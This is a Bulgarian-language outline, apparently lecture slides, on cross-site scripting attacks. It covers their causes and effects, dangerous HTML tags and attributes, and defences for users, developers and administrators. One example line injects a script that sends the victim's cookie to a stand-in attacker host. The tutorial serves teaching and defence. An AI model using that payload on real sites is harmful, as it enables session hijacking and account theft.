Cross Site Scripting (XSS) атаки
- Въведение
* динамични уеб сайтове
* данни получавани от потребители
* данни показвани на сайтовете
- Какво е Cross Site Scripting (XSS)
- Защо XSS, а не CSS?
* Най-просто казано - за да не се бърка с
Cascading Style Sheets
- Минимални изисквания за да се стартира XSS атака
* Web приложение, което показва данни
директно въведени от потребителите без
необходимото филтриране или коректна
трансформация
* Ако атаката се провежда чрез JavaScript
VBScript, ActiveX браузер, който поддържа
някоя от тези технологии
* HTML injection атака работи със всички
браузери
- До какво може да доведе една XSS атака
* Крадене на акаунти, промяна на потребителски
настройки, крадене на cookie-та, подправяне
на cookie-та, непозволено рекламиране, Denial
of Services атаки, използване на клиента като
трамплин за атака на други сайтове и т.н.
* Използване на FORM за крадене на информация
(подвеждане на потребителя ако ползва SSL)
* Добиване на достъп до данни до който атакуващият
няма права
* Единственото ограничение е въображението на
атакуващият.
- Специални символи в HTML
< > & %
- Адресни схеми
- http://
- ftp://
- file:
- javascript:
- Примери за XSS атаки
* Всяко приложението което не филтрира HTML тагове
е уязвимо към вмъкване на фалшив HTML код (div + css).
* Всяко приложение което позволява вмъкването на
<SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>
таговете е уязвимо към вмъкване на опасен код.
* Параметрите на HTML таговете също могат да бъдат
използвани за вмъкване на опасен код:
- В параметъра style може да се използва eval()
конструкция за да се вмъкне JavaScript код
- могат да се добавят event handlers, в който
има JavaScript код (пример: onMouseOver,
onClick)
* Възможността за вмъкване на кавички " в хипер
връзки води до атаката върху параметрите на HTML
таговете
* Неправилна работа с Character encodings и html
entities
<img src="http://example.org/user.asp?name=<script>document.location.replace('http://atacker.net/steal.cgi?'+document.cookie);</script>">
- Защити за потребителите
Никоя от защити не е 100% ефективна. Някои от
възможните защити са:
* Same origin policy (работи винаги)
* Изключване на JavaScript и ActiveX
* В Mozilla - забрана за достъп до cookie от JS
* В Mozilla - забрана за промяна на status bar
* Избягване на безразборно кликане по връзки
* За важните сайтове не разчитайте на връзки или bookmarks.
Въвеждайте си ги на ръка в полето за адрес на броузера.
- Защити приложени от програмистите на уеб приложения
* Подсигуряване че динамично генерираните страници не
съдържат потребителски данни, който не са проверени
* твърдо оказване на character set-а, който ползва
страницата
* Използвайте POST, не GET във формите
* Използване на HTTP ONLY cookie-та
- Защити приложени от администраторите
* обновяване на уеб сървърите, който позволяват XSS
атаки да се провеждат през страниците за грешки на
самите сървъри.
- Връзки за повече информация:
http://www.technicalinfo.net/papers/CSS.html
http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html
http://www.cgisecurity.net/articles/xss-faq.shtml
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/cross-site-malicious-content.html